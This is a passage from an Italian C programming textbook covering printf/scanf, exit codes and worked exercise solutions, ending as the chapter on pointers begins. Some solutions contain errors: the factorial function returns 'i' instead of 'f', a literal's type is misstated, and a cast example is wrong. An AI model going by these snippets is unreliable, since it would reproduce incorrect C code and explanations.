Gli specificatori di conversione usati in questo esempio si possono considerare quelli più comuni: '**`%s`**' incorpora una stringa; '**`%f`**' traduce in testo un valore che originariamente è di tipo '**`double`**'; '**`%d`**' traduce in testo un valore '**`int`**'; inoltre, '**`%%`**' viene trasformato semplicemente in un carattere percentuale nel testo finale. Alla fine, l'esempio produce l'emissione del testo: «Ciao: il capitale 1000.00, investito al tasso 0.500000% ha prodotto un montante pari a 1005.»

La funzione ***scanf()*** è un po' più difficile da comprendere: la stringa che definisce il procedimento di interpretazione e conversione deve confrontarsi con i dati provenienti dallo standard input. L'uso più semplice di questa funzione prevede l'individuazione di un solo dato:

```
…
int importo;
…
printf ("Inserisci l'importo: ");
scanf ("%d", &importo);
…
```

Il pezzo di codice mostrato emette la frase seguente e resta in attesa dell'inserimento di un valore numerico intero, seguito da [*Invio*]:

```
Inserisci l'importo: _
```

Questo valore viene inserito nella variabile ***importo***. Si deve osservare il fatto che gli argomenti successivi alla stringa di conversione sono dei puntatori, per cui, avendo voluto inserire il dato nella variabile ***importo***, questa è stata indicata preceduta dall'operatore '**`&`**' in modo da fornire alla funzione l'indirizzo corrispondente (si veda la sezione 77.5 sulla gestione dei puntatori).

Con una stessa funzione ***scanf()*** è possibile inserire dati per diverse variabili, come si può osservare dall'esempio seguente, ma in questo caso, per ogni dato viene richiesta la separazione

con spazi orizzontali o anche con la pressione di [*Invio*].

```
printf ("Inserisci il capitale e il tasso:");
scanf ("%d%f", &capitale, &tasso);
```

92.5.5 Restituzione di un valore

In un sistema Unix e in tutti i sistemi che si rifanno a quel modello, i programmi, di qualunque tipo siano, al termine della loro esecuzione, restituiscono un valore che può essere utilizzato da uno script di shell per determinare se il programma ha fatto ciò che si voleva o se è intervenuto qualche tipo di evento che lo ha impedito.

Convenzionalmente si tratta di un valore numerico, con un intervallo di valori abbastanza ristretto, in cui zero rappresenta una conclusione normale, ovvero priva di eventi indesiderati, mentre qualsiasi altro valore rappresenta un'anomalia. A questo proposito si consideri quello «strano» atteggiamento degli script di shell, per cui zero equivale a *Vero*.

Lo standard del linguaggio C prescrive che la funzione ***main()*** debba restituire un tipo intero, contenente un valore compatibile con l'intervallo accettato dal sistema operativo: tale valore intero è ciò che dovrebbe lasciare di sé il programma, al termine del proprio funzionamento.

Se il programma deve terminare, per qualunque ragione, in una funzione diversa da ***main()***, non potendo usare l'istruzione '**`return`**' per questo scopo, si può richiamare la funzione ***exit()***:

```
exit (valore_restituito);
```

La funzione ***exit()*** provoca la conclusione del programma, dopo aver provveduto a scaricare i flussi di dati e a chiudere i file. Per questo motivo, non restituisce un valore all'interno del programma, al contrario, fa in modo che il programma restituisca il valore indicato come argomento.

Per poterla utilizzare occorre includere il file di intestazione '`stdlib.h`' che tra l'altro dichiara già due macro-variabili adatte a definire la conclusione corretta o errata del programma: ***EXIT_SUCCESS*** e ***EXIT_FAILURE***.[13] L'esempio seguente mostra in che modo queste macro-variabili potrebbero essere usate:

```
#include <stdlib.h>
...
...
if (...)
  {
    exit (EXIT_SUCCESS);
  }
else
  {
    exit (EXIT_FAILURE);
  }
```

Naturalmente, se si può concludere il programma nella funzione ***main()***, si può fare lo stesso

con l'istruzione '**return**':

```
#include <stdlib.h>
…
…
int main (…)
{
    …
    if (…)
      {
        return (EXIT_SUCCESS);
      }
    else
      {
        return (EXIT_FAILURE);
      }
    …
}
```

92.5.5.1 Esercizio

Modificare uno degli esercizi già fatti, dove si verifica se un numero è primo, allo scopo di far concludere il programma con '**EXIT_SUCCESS**' se il numero è primo effettivamente; in caso contrario il programma deve terminare con il valore corrispondente a '**EXIT_FAILURE**'.

In un sistema operativo in cui si possa utilizzare una shell POSIX, per verificare il valore restituito dal programma appena terminato è possibile usare il comando seguente:

$ **echo $?** [*Invio*]

Si ricorda che la conclusione con successo di un programma si traduce normalmente nel valore zero.

92.6 Riferimenti

- Brian W. Kernighan, Dennis M. Ritchie, *Il linguaggio C: principi di programmazione e manuale di riferimento*, Pearson, ISBN 88-7192-200-X

  ⟨*http://cm.bell-labs.com/cm/cs/cbook/*⟩

- Open Standards, *C - Approved standards*

  ⟨*http://www.open-std.org/jtc1/sc22/wg14/www/standards*⟩

- *ISO/IEC 9899:TC2*

  ⟨*http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf*⟩

- Richard Stallman e altri, *GNU coding standards*

  ⟨*http://www.gnu.org/prep/standards/*⟩

- Autori vari, *GCC manual*

  ⟨*http://gcc.gnu.org/onlinedocs/gcc/*⟩

  ⟨*http://gcc.gnu.org/onlinedocs/gcc.pdf*⟩

92.7 Soluzioni agli esercizi proposti

Esercizio	Soluzione

92.1.2.1	`//      Ciao mondo!`
	`#include <stdio.h>`
	`//  La funzione main() viene eseguita automaticamente`
	`//  all'avvio.`
	`int main (void)`
	`{`
	`    //  Si limita a emettere un messaggio.`
	`    printf ("Ciao mondo!\n");`
	`    //  Attende la pressione di un tasto, quindi termina.`
	`    getchar ();`
	`    return 0;`
	`}`

92.1.2.2	`#include <stdio.h>`
	`int main (void)`
	`{`
	`    printf ("Il mio primo programma\n");`
	`    printf ("scritto in linguaggio C.\n");`
	`    getchar ();`
	`    return 0;`
	`}`

92.1.3.1	`$` **`cc -o programma prova.c`** [*Invio*] Ma se si dispone del compilatore GNU C, è meglio usare l'opzione '**`-Wall`**': `$` **`cc -Wall -o programma prova.c`** [*Invio*]
92.1.4.1	`printf ("Imponibile: %d, IVA: %d.\n", 1000, 200);`
92.2.1.1	Con un byte da 8 bit non dovrebbe esserci la possibilità di avere una variabile scalare da 12 bit, perché di norma il byte è esattamente un sottomultiplo del rango delle variabili scalari disponibili.
92.2.2.1	Una variabile scalare di tipo '**`unsigned char`**' (da 8 bit) può rappresentare valori da 0 a 255, pertanto non è possibile assegnare a una tale variabile valori fino a 99999.
92.2.2.2	Una variabile scalare di tipo '**`unsigned char`**' (da 8 bit) può rappresentare valori da 0 a 255.
92.2.2.3	Una variabile scalare di tipo '**`signed short int`**' (da 16 bit) può rappresentare valori da −32768 a +32767.
92.2.2.4	Dovendo rappresentare il valore 12,34, si devono usare variabili in virgola mobile. Possono andare bene tutti i tipi: '**`float`**', '**`double`**' e '**`long double`**'.
92.2.3.1	La costante letterale '**`12`**' corrisponde a 12_{10}; la costante '**`012`**' rappresenta il numero 12_{8}, ovvero 10_{10}; la costante '**`0x12`**' indica il numero 12_{16}, ovvero 18_{10}.
92.2.3.2	La costante letterale '**`12`**' è di tipo '**`int`**'; la costante '**`12U`**' è di tipo '**`unsigned int`**'; la costante '**`12L`**' è di tipo '**`long int`**'; la costante '**`1.2`**' è di tipo '**`double`**'; la costante '**`1.2`**' è di tipo '**`long double`**'.
92.2.5.1	L'espressione '**`'3'-2`**' corrisponde in pratica alla costante carattere '**`'1'`**'; l'espressione '**`'5'+4`**' corrisponde in pratica alla costante carattere '**`'9'`**'.

Esercizio	Soluzione

92.2.7.1	`int d;`
	`unsigned long int e = 2111;`
	`float f = 21.11;`
	`const float g = 21.11;`

92.3.1.1	L'espressione '**`4+4`**' dovrebbe dare un risultato di tipo '**`int`**'; l'espressione '**`4/3`**' dovrebbe dare un risultato di tipo '**`int`**'; l'espressione '**`4.0/3`**' dovrebbe essere di tipo '**`double`**'; l'espressione '**`4L*3`**' dovrebbe essere di tipo '**`long int`**'.

92.3.2.1	`int a = 3;`
	`int b;`
	`b = --a;`
	a contiene 2 e ***b*** contiene 2.

92.3.2.1	`int a = 3;`
	`int b = 2;`
	`b = a + b;`
	a contiene 3 e ***b*** contiene 5.

92.3.2.1	`int a = 7;`
	`int b = 2;`
	`b = a % b;`
	a contiene 7 e ***b*** contiene 1.

92.3.2.1	`int a = 7;`
	`int b;`
	`b = (a = a * 2);`
	a contiene 14 e ***b*** contiene 14.

92.3.2.1	`int a = 3;`
	`int b = 2;`
	`b += a;`
	a contiene 3 e ***b*** contiene 5.

92.3.2.1	`int a = 7;`
	`int b = 2;`
	`b %= a;`
	a contiene 7 e ***b*** contiene 2.

92.3.2.1	`int a = 7;`
	`int b;`
	`b = (a *= 2);`
	a contiene 14 e ***b*** contiene 14.

92.3.2.2	`#include <stdio.h>`
	`int main (void)`
	`{`
	`    int a = 3;`
	`    int b;`
	`    b = --a;`
	`    printf ("a contiene %d;\n", a);`
	`    printf ("b contiene %d.\n", b);`
	`    getchar ();`
	`    return 0;`
	`}`

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.3.2.2</td><td>

```
#include <stdio.h>
int main (void)
{
    int a = 3;
    int b = 2;
    b = a + b;
    printf ("a contiene %d;\n", a);
    printf ("b contiene %d.\n", b);
    getchar ();
    return 0;
}
```

</td></tr>
<tr><td>92.3.2.2</td><td>

```
#include <stdio.h>
int main (void)
{
    int a = 7;
    int b = 2;
    b = a % b;
    printf ("a contiene %d;\n", a);
    printf ("b contiene %d.\n", b);
    getchar ();
    return 0;
}
```

</td></tr>
<tr><td>92.3.2.2</td><td>

```
#include <stdio.h>
int main (void)
{
    int a = 7;
    int b;
    b = (a = a * 2);
    printf ("a contiene %d;\n", a);
    printf ("b contiene %d.\n", b);
    getchar ();
    return 0;
}
```

</td></tr>
<tr><td>92.3.2.2</td><td>

```
#include <stdio.h>
int main (void)
{
    int a = 3;
    int b = 2;
    b += a;
    printf ("a contiene %d;\n", a);
    printf ("b contiene %d.\n", b);
    getchar ();
    return 0;
}
```

</td></tr>
</table>

Esercizio	Soluzione

92.3.2.2	#include <stdio.h>
	int main (void)
	{
	    int a = 7;
	    int b = 2;
	    b %= a;
	    printf ("a contiene %d;\n", a);
	    printf ("b contiene %d.\n", b);
	    getchar ();
	    return 0;
	}

92.3.2.2	#include <stdio.h>
	int main (void)
	{
	    int a = 7;
	    int b;
	    b = (a *= 2);
	    printf ("a contiene %d;\n", a);
	    printf ("b contiene %d.\n", b);
	    getchar ();
	    return 0;
	}

92.3.3.1	int a = 4 + 1;
	signed char b = 5;
	int c = a == b;
	c contiene 1.

92.3.3.1	int a = 4 + 1;
	signed char b = 5;
	int c = a != b;
	c contiene 0.

92.3.3.1	unsigned int a = 4 + 3;
	signed char b = -5;
	int c = a >= b;
	c contiene 1.

92.3.3.1	unsigned int a = 4 + 3;
	signed char b = -5;
	int c = a <= b;
	c contiene 0.

92.3.3.2	#include <stdio.h>
	int main (void)
	{
	    int a = 4 + 1;
	    signed char b = 5;
	    int c = a == b;
	    printf ("(%d == %d) produce %d\n", a, b, c);
	    getchar ();
	    return 0;
	}

Esercizio	Soluzione

92.3.3.2

```
#include <stdio.h>
int main (void)
{
    int a = 4 + 1;
    signed char b = 5;
    int c = a != b;
    printf ("(%d != %d) produce %d\n", a, b, c);
    getchar ();
    return 0;
}
```

92.3.3.2

```
#include <stdio.h>
int main (void)
{
    unsigned int a = 4 + 3;
    signed char b = -5;
    int c = a >= b;
    printf ("(%d >= %d) produce %d\n", a, b, c);
    getchar ();
    return 0;
}
```

92.3.3.2

```
#include <stdio.h>
int main (void)
{
    unsigned int a = 4 + 3;
    signed char b = -5;
    int c = a <= b;
    printf ("(%d <= %d) produce %d\n", a, b, c);
    getchar ();
    return 0;
}
```

92.3.4.1

```
int a = 4;
signed char b = (3 < 5);
int c = a && b;
```

c contiene 1.

92.3.4.1

```
int a = 4;
signed char b = (3 < 5);
int c = a || b;
```

c contiene 1.

92.3.4.1

```
unsigned int a = 4 + 3;
signed char b = -5;
int c = (b > 0) || (a > b);
```

c contiene 1.

92.3.5.1

```
int a = 5;
int b = 12;
int c = a & b;
```

c contiene 4.

92.3.5.1

```
int a = 5;
int b = 12;
int c = a | b;
```

c contiene 13.

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.3.5.1</td><td>int a = 5;
int b = 12;
int c = a ^ b;
c contiene 9.</td></tr>
<tr><td>92.3.5.1</td><td>int a = 5;
int c = a << 1;
c contiene 10.</td></tr>
<tr><td>92.3.5.1</td><td>int a = 21;
int c = a >> 1;
c contiene 10.</td></tr>
<tr><td>92.3.5.2</td><td>#include <stdio.h>
int main (void)
{
    int a = 5;
    int b = 12;
    int c = a & b;
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}</td></tr>
<tr><td>92.3.5.2</td><td>#include <stdio.h>
int main (void)
{
    int a = 5;
    int b = 12;
    int c = a | b;
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}</td></tr>
<tr><td>92.3.5.2</td><td>#include <stdio.h>
int main (void)
{
    int a = 5;
    int b = 12;
    int c = a ^ b;
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}</td></tr>
<tr><td>92.3.5.2</td><td>#include <stdio.h>
int main (void)
{
    int a = 5;
    int c = a << 1;
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}</td></tr>
</table>

Esercizio	Soluzione

92.3.5.2

```
#include <stdio.h>
int main (void)
{
    int a = 21;
    int c = a >> 1;
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}
```

92.3.6.1

L'espressione '`(int) (4.4+4.9)`' è equivalente a '`(int) 9`'; l'espressione '`(double) 4/3`' è equivalente a '`(double) 1`'; l'espressione '`((double) 4)/3`' è equivalente a '`((double) 1.33333`'.

92.3.7.1

```
int a = -20;
int b = 10;
int c = (b = 2, b = a, c = a + b);
```

c contiene −40.

92.3.7.1

```
int a = -20;
int b = 10;
int c = (b = 2, b = a++, c = a + b);
```

c contiene −39.

92.3.7.1

```
int a = -20;
int b = 10;
int c = (b = 2, b = ++a, c = a + b);
```

c contiene −38.

92.3.7.2

```
#include <stdio.h>
int main (void)
{
    int a = -20;
    int b = 10;
    int c = (b = 2, b = a, c = a + b);
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}
```

92.3.7.2

```
#include <stdio.h>
int main (void)
{
    int a = -20;
    int b = 10;
    int c = (b = 2, b = a++, c = a + b);
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}
```

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.3.7.2</td><td>

```
#include <stdio.h>
int main (void)
{
    int a = -20;
    int b = 10;
    int c = (b = 2, b = ++a, c = a + b);
    printf ("c contiene %d\n", c);
    getchar ();
    return 0;
}
```

</td></tr>
<tr><td>92.4.1.1</td><td>

```
#include <stdio.h>
int main (void)
{
    int x;
    x = 5000;

    if ((x < 1000) || (x > 10000))
      {
        printf ("Il valore di x non è valido!\n");
      }
    else if (x > 5000)
      {
        printf ("Il livello di x è alto: %d\n", x);
      }
    else if (x < 5000)
      {
        printf ("Il livello di x è basso: %d\n", x);
      }
    else
      {
        printf ("Il livello di x è ottimale: %d\n", x);
      }
    getchar ();
    return 0;
}
```

</td></tr>
</table>

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.4.1.2</td><td><pre><code>#include <stdio.h>
int main (void)
{
    int x;
    x = -1;

    if (x)
      {
        printf ("Sono felice :-)\n");
      }
    else
      {
        printf ("Sono triste :-(\n");
      }
    getchar ();
    return 0;
}</code></pre>Il programma visualizza la scritta «Sono felice :-)», perché un qualunque valore numerico diverso da zero viene inteso pari a Vero.</td></tr>
<tr><td>92.4.2.1</td><td><pre><code>   case 2:
            if (((anno % 4 == 0) && !(anno % 100 == 0))
                || (anno % 400 == 0))
              {
                giorni = 29;
              }
            else
              {
                giorni = 28;
              }
            break;</code></pre>Se l’anno è divisibile per quattro (pertanto la divisione per quattro non dà resto) e se l’anno non è divisibile per 100 (quindi non si tratta di un secolo), oppure se l’anno è divisibile per 400, il mese di febbraio ha 29, mentre ne ha 28 negli altri casi. In pratica, di norma gli anni bisestili sono quelli il cui anno è divisibile per quattro, ma questa regola non si applica se l’anno è l’inizio di un secolo, ma ogni quattro secoli si fa eccezione (pertanto, anche se di norma l’anno che inizia un secolo non è bisestile, il secolo che si ha ogni 400 anni è invece, nuovamente, bisestile).</td></tr>
</table>

Esercizio	Soluzione

92.4.3.1

```
#include <stdio.h>
int main (void)
{
    unsigned int x = 4;
    unsigned int f = x;
    unsigned int i = (x - 1);
    while (i > 0)
      {
        f = f * i;
        i--;
      }
    printf ("%d! è pari a %d\n", x, f);
    getchar ();
    return 0;
}
```

92.4.3.2

```
#include <stdio.h>
int main (void)
{
    int x = 11;
    int i = 2;
    if (x <= 1)
      {
        printf ("%d non è un numero primo.\n", x);
      }
    else
      {
        while (i < x)
          {
            if ((x % i) == 0)
              {
                printf ("%d è divisibile per %d.\n", x, i);
                break;
              }
            i++;
          }
        if (i >= x)
          {
            printf ("%d è un numero primo.\n", x);
          }
      }
    getchar ();
    return 0;
}
```

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.4.4.1</td><td>

```
#include <stdio.h>
int main (void)
{
    int x = 11;
    int i = 2;
    if (x <= 1)
      {
        printf ("%d non è un numero primo.\n", x);
      }
    else
      {
        do
          {
            if ((x % i) == 0)
              {
                printf ("%d è divisibile per %d.\n", x, i);
                break;
              }
            i++;
          }
        while (i < x);
        if (i >= x)
          {
            printf ("%d è un numero primo.\n", x);
          }
      }
    getchar ();
    return 0;
}
```

</td></tr>
<tr><td>92.4.5.1</td><td>

```
#include <stdio.h>
int main (void)
{
    unsigned int x = 4;
    unsigned int f = x;
    unsigned int i;
    for (i = (x - 1); i > 0; i--)
      {
        f = f * i;
      }
    printf ("%d! è pari a %d\n", x, f);
    getchar ();
    return 0;
}
```

</td></tr>
</table>

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.4.5.2</td><td>

```
#include <stdio.h>
int main (void)
{
    int x = 11;
    int i;
    if (x <= 1)
      {
        printf ("%d non è un numero primo.\n", x);
      }
    else
      {
        for (i = 2; i < x; i++)
          {
            if ((x % i) == 0)
              {
                printf ("%d è divisibile per %d.\n", x, i);
                break;
              }
          }
        if (i >= x)
          {
            printf ("%d è un numero primo.\n", x);
          }
      }
    getchar ();
    return 0;
}
```

</td></tr>
<tr><td>92.5.1.1</td><td>

```
void alfa (unsigned int x, char y, double z);

unsigned int beta (void);

double gamma (int x, signed char y);
```

</td></tr>
</table>

Esercizio	Soluzione
92.5.2.1	(see code below)

```
#include <stdio.h>
unsigned int fattoriale (unsigned int x);
unsigned int
fattoriale (unsigned int x)
{
    unsigned int f = x;
    unsigned int i;
    for (i = (x - 1); i > 0; i--)
      {
        f = f * i;
      }
    return i;
}
int main (void)
{
    unsigned int x = 7;
    unsigned int f;
    f = fattoriale (x);
    printf ("Il fattoriale di %d è pari a %d.\n", x, f);
    getchar ();
    return 0;
}
```

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.5.2.1</td><td>

```
#include <stdio.h>
unsigned int primo (unsigned int x);
unsigned int
primo (unsigned int x)
{
    unsigned int i;
    if (x <= 1)
      {
        return 0;
      }
    for (i = 2; i < x; i++)
      {
        if ((x % i) == 0)
          {
            return 0;
          }
      }
    if (i >= x)
      {
        return 1;
      }
    else
      {
        return 0;
      }
}
int main (void)
{
    unsigned int x = 11;
    if (primo (x))
      {
        printf ("%d è un numero primo.\n", x);
      }
    else
      {
        printf ("%d non è un numero primo.\n", x);
      }
    getchar ();
    return 0;
}
```

</td></tr>
</table>

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.5.2.1</td><td>

```
#include <stdio.h>
double interesse (double c, double i, unsigned int t);
double
interesse (double c, double i, unsigned int t)
{
    return (c * i * t);
}
int main (void)
{
    double    capitale = 10000; // Euro
    double       tasso = 0.03;  // pari al 3 %
    unsigned int tempo = 3;     // anni
    double   interessi;
    interessi = interesse (capitale, tasso, tempo);
    printf ("Un capitale di %f Euro ", capitale);
    printf ("investito al tasso del %f%% ", tasso * 100);
    printf ("Per %d anni, dà interessi per %f Euro.\n", tempo, interessi);
    getchar ();
    return 0;
}
```

</td></tr>
</table>

<table>
<tr><th>Esercizio</th><th>Soluzione</th></tr>
<tr><td>92.5.5.1</td><td><pre>
#include <stdio.h>
#include <stdlib.h>
unsigned int primo (unsigned int x);
unsigned int
primo (unsigned int x)
{
    unsigned int i;
    if (x <= 1)
      {
        return 0;
      }
    for (i = 2; i < x; i++)
      {
        if ((x % i) == 0)
          {
            return 0;
          }
      }
    if (i >= x)
      {
        return 1;
      }
    else
      {
        return 0;
      }
}
int main (void)
{
    unsigned int x = 11;
    if (primo (x))
      {
        return (EXIT_SUCCESS);
      }
    else
      {
        return (EXIT_FAILURE);
      }
}
</pre></td></tr>
</table>

[1] È bene osservare che un'istruzione composta, ovvero un raggruppamento di istruzioni tra parentesi graffe, non è concluso dal punto e virgola finale.

[2] In particolare, i nomi che iniziano con due trattini bassi ('__'), oppure con un trattino basso seguito da una lettera maiuscola ('_*X*') sono riservati.

[3] Il linguaggio C, puro e semplice, non comprende alcuna funzione, benché esistano comunque molte funzioni più o meno standardizzate, come nel caso di ***printf()***.

[4] Sono esistiti anche elaboratori in grado di indirizzare il singolo bit in memoria, come il Burroughs B1900, ma rimane il fatto che il linguaggio C si interessi di raggiungere un byte intero alla volta.

[5] Il qualificatore '**`signed`**' si può usare solo con il tipo '**`char`**', dal momento che il tipo '**`char`**' puro e semplice può essere con o senza segno, in base alla realizzazione particolare

del linguaggio che dipende dall'architettura dell'elaboratore e dalle convenzioni del sistema operativo.

[6] La distinzione tra valori con segno o senza segno, riguarda solo i numeri interi, perché quelli in virgola mobile sono sempre espressi con segno.

[7] Come si può osservare, la dimensione è restituita dall'operatore '**`sizeof`**', il quale, nell'esempio, risulta essere preceduto dalla notazione '**`(int)`**'. Si tratta di un cast, perché il valore restituito dall'operatore è di tipo speciale, precisamente si tratta del tipo '**`size_t`**'. Il cast è solo precauzionale perché generalmente tutto funziona in modo regolare senza questa indicazione.

[8] Per la precisione, il linguaggio C stabilisce che il «byte» corrisponda all'unità di memorizzazione minima che, però, sia anche in grado di rappresentare tutti i caratteri di un insieme minimo. Pertanto, ciò che restituisce l'operatore ***sizeof()*** è, in realtà, una quantità di byte, solo che non è detto si tratti di byte da 8 bit.

[9] Gli operandi di '**`? :`**' sono tre.

[10] Lo standard prevede il tipo di dati '**`_Bool`**' che va inteso come un valore numerico compreso tra zero e uno. Ciò significa che il tipo '**`_Bool`**' si presta particolarmente a rappresentare valori logici (binari), ma ciò sempre secondo la logica per la quale lo zero corrisponde a *Falso*, mentre qualunque altro valore corrisponde a *Vero*.

[11] Per la precisione, i parametri di una funzione corrispondono alla dichiarazione di variabili di tipo automatico.

[12] Questa descrizione è molto semplificata rispetto al problema del campo di azione delle variabili in C; in particolare, quelle che qui vengono chiamate «variabili globali», non hanno necessariamente un campo di azione esteso a tutto il programma, ma in condizioni normali sono limitate al file in cui sono dichiarate. La questione viene approfondita in modo più adatto a questo linguaggio nella sezione 77.3.

[13] In pratica, ***EXIT_SUCCESS*** equivale a zero, mentre ***EXIT_FAILURE*** equivale a uno.

Capitolo 93

Puntatori, array e stringhe in C

93.1 Espressioni a cui si assegnano dei valori 5540

93.1.1 Esercizio 5540

93.2 Puntatori 5541

93.3 Dichiarazione di una variabile puntatore 5541

93.3.1 Esercizio 5541

93.4 Dereferenziazione 5542

93.4.1 Esercizio 5543

93.5 «Little endian» e «big endian» 5543

93.5.1 Esercizio 5545

93.6 Chiamata di funzione con puntatori 5547

93.6.1 Esercizio 5547

93.6.2 Esercizio 5548

93.7 Array 5548

93.8 Array a una dimensione 5548

93.8.1 Esercizio 5550

93.8.2 Esercizio 5550

93.8.3 Esercizio 5550

93.9 Array multidimensionali 5550

93.9.1 Esercizio 5553

93.9.2 Esercizio 5553

93.9.3 Esercizio 5554

93.10 Natura dell'array 5554

93.10.1 Esercizio 5557

93.10.2 Esercizio 5557

93.11 Array e funzioni 5558

93.12 Aritmetica dei puntatori 5559

93.12.1 Esercizio 5560

93.13 Stringhe 5561

93.13.1 Esercizio 5563

93.13.2 Esercizio 5564

93.14 Puntatori a puntatori 5564

93.14.1 Esercizio 5566

93.15 Puntatori a più dimensioni 5567

93.15.1 Esercizio 5570

93.16 Parametri della funzione main() 5571

93.17 Puntatori a variabili distrutte 5573

93.18 Soluzioni agli esercizi proposti 5573

`*` 5541 `**` 5564 5567 `***` 5564 `argc` 5571 `argv` 5571 `main()` 5571 `&` 5541

Nel linguaggio C, per poter utilizzare gli array si gestiscono dei puntatori alle zone di memoria contenenti tali strutture.

93.1 Espressioni a cui si assegnano dei valori

Quando si utilizza un operatore di assegnamento, come '`=`' o altri operatori composti, ciò che si mette alla sinistra rappresenta la «variabile ricevente» del risultato dell'espressione che si trova alla destra dell'operatore (nel caso di operatori di assegnamento composti, l'espressione alla destra va considerata come quella che si ottiene scomponendo l'operatore). Ma il linguaggio C consente di rappresentare quella «variabile ricevente» attraverso un'espressione, come nel caso dei puntatori che vengono descritti in questo capitolo. Pertanto, per evitare confusione, la documentazione dello standard chiama l'espressione a sinistra dell'operatore di assegnamento un *lvalue* (*Left value* o *Location value*).

Il concetto di *lvalue* serve a chiarire che un'espressione può rappresentare una «variabile», ovvero una certa posizione in memoria, pur senza averle dato un nome.

93.1.1 Esercizio

Nelle espressioni seguenti, indicare quali sono i componenti che costituiscono un *lvalue*:

Espressione	*lvalue*
`x = 4, y = 3 * 2`	***x*** e ***y***
`y = 3 * x`	
`z += 3 * x`	
`j = i++ * 5`	

93.2 Puntatori

Una variabile, di qualunque tipo sia, rappresenta normalmente un valore posto da qualche parte nella memoria del sistema. Attraverso l'operatore di indirizzamento e-commerciale ('`&`'), è possibile ottenere il puntatore (riferito alla rappresentazione ideale di memoria del linguaggio C) a una variabile «normale». Tale valore può essere inserito in una variabile particolare, adatta a contenerlo: una ***variabile puntatore***.

Per esempio, se ***p*** è una variabile puntatore adatta a contenere l'indirizzo di un intero, l'esempio mostra in che modo assegnare a tale variabile il puntatore alla variabile ***i***:

```
int i = 10;
...
p = &i;  // L'indirizzo di «i» viene assegnato al puntatore «p».
```

93.3 Dichiarazione di una variabile puntatore

La dichiarazione di una variabile puntatore avviene in modo simile a quello delle variabili normali, con l'aggiunta di un asterisco prima del nome. L'esempio seguente dichiara la variabile ***p*** come puntatore a un tipo '`int`'.

```
int *p;
```

Sia chiaro che la variabile dichiarata in questo modo ha il nome ***p*** ed è di tipo '`int *`', ovvero puntatore al tipo intero normale. Pertanto, l'asterisco, benché lo si rappresenti attaccato al nome della variabile, qui fa parte della dichiarazione del tipo.

Normalmente, il puntatore è costituito da un numero che rappresenta un indirizzo di memoria. Il fatto di precisare il tipo di variabile a cui si riferisce il puntatore, consente di sapere per quanti byte si estende l'informazione in questione.

93.3.1 Esercizio

Nella tabella successiva sono riportate delle istruzioni, a fianco delle quali si fanno delle domande. Si risponda a tali domande.

Codice	Questione
`int a = 20;` `b = &a;`	Quale dovrebbe essere il tipo della variabile ***b***?
	Come si dichiara la variabile ***x***, in qualità di puntatore al tipo '`long long int`'?
`long int *z;`	Cosa può contenere la variabile ***z***?

93.4 Dereferenziazione

Così come esiste l'operatore di indirizzamento, costituito dalla e-commerciale ('&'), con il quale si ottiene il puntatore corrispondente a una variabile, è disponibile un operatore di «dereferenziazione», con cui è possibile raggiungere la zona di memoria a cui si riferisce un puntatore, come se si trattasse di una variabile comune. L'operatore di dereferenziazione è l'asterisco ('*').

Attenzione a non fare confusione con gli asterischi: una cosa è quello usato per dichiarare o per dereferenziare un puntatore e un'altra è l'operatore con cui invece si ottiene la moltiplicazione.

Nell'esempio seguente, l'area di memoria a cui si riferisce il puntatore ***p*** viene sovrascritta con il valore 123:

```
int *p;
...
*p = 123;
```

Nell'esempio seguente, l'area di memoria a cui si riferisce il puntatore ***p***, corrispondente in pratica alla variabile ***v***, viene sovrascritta con il valore 456:

```
int v;
int *p;
...
p = &v;
*p = 456;
```

Nell'esempio appena apparso, si osserva alla fine che è possibile fare riferimento alla stessa area di memoria, sia attraverso la variabile ***v***, sia attraverso il puntatore dereferenziato ****p***.

L'esempio seguente serve a chiarire un po' meglio il ruolo delle variabili puntatore:

```
int v = 10;
int *p;
int *p2;
...
p = &v;
...
p2 = p;
...
*p2 = 20;
```

Alla fine, la variabile ***v*** e i puntatori dereferenziati ****p*** e ****p2*** contengono tutti lo stesso valore; ovvero, i puntatori ***p*** e ***p2*** individuano entrambi l'area di memoria corrispondente alla variabile ***v***, la quale si trova a contenere il valore 20.

Si osservi che l'asterisco è un operatore che, evidentemente, ha la precedenza rispetto a quelli di assegnamento. Eventualmente si possono usare le parentesi per togliere ambiguità al codice:

```
(*p2) = 20;
```

93.4.1 Esercizio

Nella tabella successiva sono riportate delle istruzioni, a fianco delle quali si fanno delle domande. Si risponda a tali domande.

Codice	Questione

`long int *i;`
`long int  j;`
`…`
`i = j;`
	L'ultima istruzione è errata: quale potrebbe essere la soluzione giusta?

`int *i;`
`int  j = 10;`
`…`
`i = &j;`
`(*i)++;`
	Cosa contiene alla fine la variabile ***j***?

`long int *i;`
`int       j;`
`…`
`*i = j;`
	L'ultima istruzione contiene un problema: come lo si può correggere?

93.5 «Little endian» e «big endian»

Il tipo di dati a cui un puntatore si rivolge, fa parte integrante dell'informazione rappresentata dal puntatore stesso. Ciò è importante perché quando si dereferenzia un puntatore occorre sapere quanto è grande l'area di memoria a cui si deve accedere a partire dal puntatore. Per questa ragione, quando si assegna a una variabile puntatore un altro puntatore, questo deve essere compatibile, nel senso che deve riferirsi allo stesso tipo di dati, altrimenti si rischia di ottenere un risultato inatteso. A questo proposito, l'esempio seguente contiene probabilmente un errore:

```
char *pc;
int  *pi;
…
pi = pc;  // I due puntatori si riferiscono a dati di tipo differente!
…
```

Quando invece si vuole trasformare realmente un puntatore in modo che si riferisca a un tipo di dati differente, si può usare un cast, come si farebbe per convertire i valori numerici:

```
char *pc;
int  *pi;
…
pi = (int *) pc;  // Il programmatore dimostra di essere consapevole
                  // di ciò che sta facendo attraverso un cast!
…
